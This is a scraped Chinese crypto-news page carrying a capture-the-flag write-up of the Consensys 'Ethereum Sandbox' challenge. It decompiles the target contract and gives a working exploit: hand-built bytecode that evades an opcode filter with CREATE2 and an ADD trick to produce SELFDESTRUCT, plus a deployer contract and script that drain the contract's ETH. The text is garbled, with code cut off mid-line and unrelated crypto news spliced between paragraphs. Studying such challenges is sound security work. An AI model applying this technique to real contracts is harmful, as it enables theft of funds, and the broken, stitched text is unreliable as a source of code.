買比特幣 買比特幣
Ctrl+D 買比特幣
ads
首頁 > OKB > Info

REQ:Consensys CTF - " 以太坊沙盒 "_int幣為什么不火

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

Binance US:Convert閃兌交易對新增支持ARB和XRP:金色財經報道,加密貨幣交易所幣安美國子公司Binance US在官推宣布旗下Convert閃兌功能新增了支持ARB和XRP兩個新代幣的交易對,目前相關交易無交易費用。[2023/7/30 16:07:33]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

互操作性協議Connext Labs完成750萬美元融資:6月14日消息,互操作性協議Connext Labs以2.5億美元的估值籌集750萬美元,Polychain Capital、Polygon Ventures、Coinbase Ventures、Ethereal Ventures、1kx、Hashed和Scalar Capital等參投。該輪融資使Connext的總融資額達到2320萬美元。新資金將用于設立Connext基金會,該基金會將負責向Connext建立的計劃發放發展補助金和資金。

Connext表示正在“構建Web3的HTTP”,形成跨不同區塊鏈網絡的通信層,以便應用程序可以同時與多個網絡上的資金和數據進行交互。[2023/6/14 21:36:29]

與set_array函數類似

再看函數3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

動態 | 公鏈項目Conflux與ChainLink建立戰略合作關系:公鏈項目Conflux宣布將與ChainLink建立戰略合作關系。Chainlink是一個公共的、去中心化的oracle網絡,可以快速、安全地連接智能合約。Chainlink目前通過其oracle與谷歌、SWIFT、Kaleido和Polkadot合作。(CryptoDaily)[2020/1/21]

=>functionowners(uint256_key)publicviewreturns(address){require(msg

最后看函數4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

動態 | 趨勢科技:網絡犯罪分子利用Confluence軟件漏洞挖掘XMR:據cointelegraph報告,安全情報公司趨勢科技公司(Trend Micro Inc.)5月7日發布的一份報告顯示,網絡犯罪分子現在正在利用軟件Confluence中的已知漏洞CVE-2019-3396。該漏洞允許網絡犯罪分子在易受攻擊的計算機上隱秘地安裝和運行monero(XMR)礦機,并通過使用rootkit掩蓋挖掘活動。[2019/5/8]

v7,v8=varg0

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

動態 | ConsenSys Ventures和Tachyon已投資40家加密貨幣和區塊鏈初創企業:ConsenSys Ventures和其加速器Tachyon現已投資超過11個子類別的40家加密貨幣和區塊鏈初創企業。(The Block)[2019/5/7]

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONINTUINREQconv幣怎么樣int幣為什么不火QUINTA幣REQ幣

OKB
YFI:關于ZT創新板即將上線SNXBULL,SNXBEAR,YFIBULL,YFIBEAR的公告_MYFI價格

尊敬的ZT用戶:ZT創新板即將上線SNXBULL,SNXBEAR,YFIBULL,YFIBEAR,并開啟SNXBULL/USDT,SNXBEAR/USDT,YFIBULL/USDT.

1900/1/1 0:00:00
CEO:馭金有道:BTC整體走勢偏弱 日內以反彈做空為主_PBTC35A

據消息,美國10年期國債收益率跌破1.428%,續刷3月3日來新低。BTC昨日晚間開始連續回升,凌晨突破36000USDT后小幅回落,BTC短時跌破35500USDT,最低跌至35410USDT.

1900/1/1 0:00:00
杭州拱墅區政府發布2020年度工作總結和2021年工作思路,全面深化BSN全球運維中心建設 轉自【鏈世界】: https://www.lianshijie.com/news/943567

6月17日,杭州市拱墅區人民政府辦公室發布了《區政府2020年度工作總結和2021年工作思路》.

1900/1/1 0:00:00
GATE:Gate.io合約驚喜周,新手、回歸用戶分10,000美金活動公告_Gate.io

回歸Gate.io有驚喜,做任務贏好禮!為回饋廣大新老用戶對Gate.io合約的支持,Gate.io針對新注冊及回歸用戶特別推出“合約驚喜周,分10,000美金活動”,共送出10.

1900/1/1 0:00:00
TER:關于ZT開啟DOGE、PIG、SHIB、BABYDOG交易有禮活動_SHIBSHABU價格

尊敬的ZT用戶: ????ZT于2021年6月18日17:00開啟交易DOGE、PIG、SHIB、BABYDOG送SHAB活動.

1900/1/1 0:00:00
MBE:加密金融服務商 Amber Group 完成 1 億美元 B 輪融資,華興資本領投_Numbers Protocol

鏈聞消息,據TechCrunch報道,加密金融服務商AmberGroup完成1億美元的B輪融資,估值達10億美元,華興資本領投.

1900/1/1 0:00:00
ads